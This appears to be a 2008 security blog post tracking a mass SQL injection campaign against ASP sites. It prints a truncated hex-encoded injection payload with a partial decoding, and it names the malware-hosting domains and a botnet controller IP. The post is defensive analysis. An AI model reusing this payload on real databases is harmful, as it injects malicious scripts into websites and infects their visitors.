Followup on the 1.js sql injection wave

Friday

It seems that the number of infected pages has mounted up to 510.000 pages (Source: F-Secure). Looking at the Belgian pages, it seems to have become 369 infected (injected) sites.

As more and more websites are using database back-ends to make them faster and more dynamic, it also means that it's crucial to verify what information gets stored in or requested from those databases — especially if you allow users to upload content themselves which happens all the time in discussion forums, blogs, feedback forms, et cetera.

Unless that data is sanitized before it gets saved you can't control what the website will show to the users. This is what SQL injection is all about, exploiting weaknesses in these controls. In this case the injection code starts off like this (note, this is not the complete code):

DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x440045004300
4C00410052004500200040005400200076006100720063006800610072
00280032003500350029002C0040004300200076006100720063006800
610072002800320035003500290020004400450043004C004100520045
0020005400610062006C0065005F0043007500720073006F0072002000
43005500520053004F005200200046004F0052002000730065006C0065
0063007400200061002E006E0061006D0065002C0062002E006E006100
6D0065002000660072006F006D0020007300790073006F0062006A0065
00630074007300200061002C0073007900730063006F006C0075006D00
6E00730020006200200077006800650072006500200061002E00690064
003D0062002E0069006400200061006E006400200061002E0078007400
7900700065003D00270075002700200061006E0064002000280062002E
00780074007900700065003D003900390020006F007200200062002E00
780074007900700065003D003300350020006…

Which when decoded becomes:

DECLARE @T varchar(255)'@C varchar(255) DECLARE Table_Cursor
CURSOR FOR select a.name'b.name from sysobjects a'syscolumns b
where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35
or b…

What happens as a result? It finds all text fields in the database and adds a link to malicious javascript to each and every one of them which will make your website display them automatically. So essentially what happened was that the attackers looked for ASP or ASPX pages containing any type of querystring (a dynamic value such as an article ID, product ID, et cetera) parameter and tried to use that to upload their SQL injection code.

So far three different domains have been used to host the malicious content — nmidahena.com, aspder.com and nihaorr1.com. There's a set of files that gets loaded from these sites that attempts to use different exploits to install an online gaming trojan. Right now the initial exploit page on all domains are unaccessible but that could change. So if you're a firewall administrator we recommend you to block access to them. (Source: F-Secure)

Input validation people !!! Check out the OWASP Top Ten. SQL injection is back on spot nr. 2.

UPDATE (25/04/2008): SANS ISC is also giving some more details:

The crew over at shadowserver has published additional information related to SQL injected sites. They included the botnet controllers IP address 61.188.39.214 and a content based snort signature for the bot control traffic that is not ip dependent. The bot controller is alive and communicating on port 2034 with some infected clients at this time.
http://www.shadowserver.org/wiki/pmwiki.php?n=Calendar.20080424
http://www.shadowserver.org/wiki/pmwiki.php?n=Calendar.20080313

They have hit city websites, commercial sites and even government websites. This type of injection pretty much null and voids the concept of “trusted website”. or "safe sites".

The register covered it stating their search returned 173k injected results:
http://www.theregister.co.uk/2008/04/24/mass_web_attack/
The number I received doing the same search was 226k. Those are not all unique websites. Many sites got hit more then one time.

Lou a self described “accidental techie” has been discussing it as they have been reinjecting this into his database/website “every other day”. http://www.experts-exchange.com/Database/MySQL/Q_23337211.html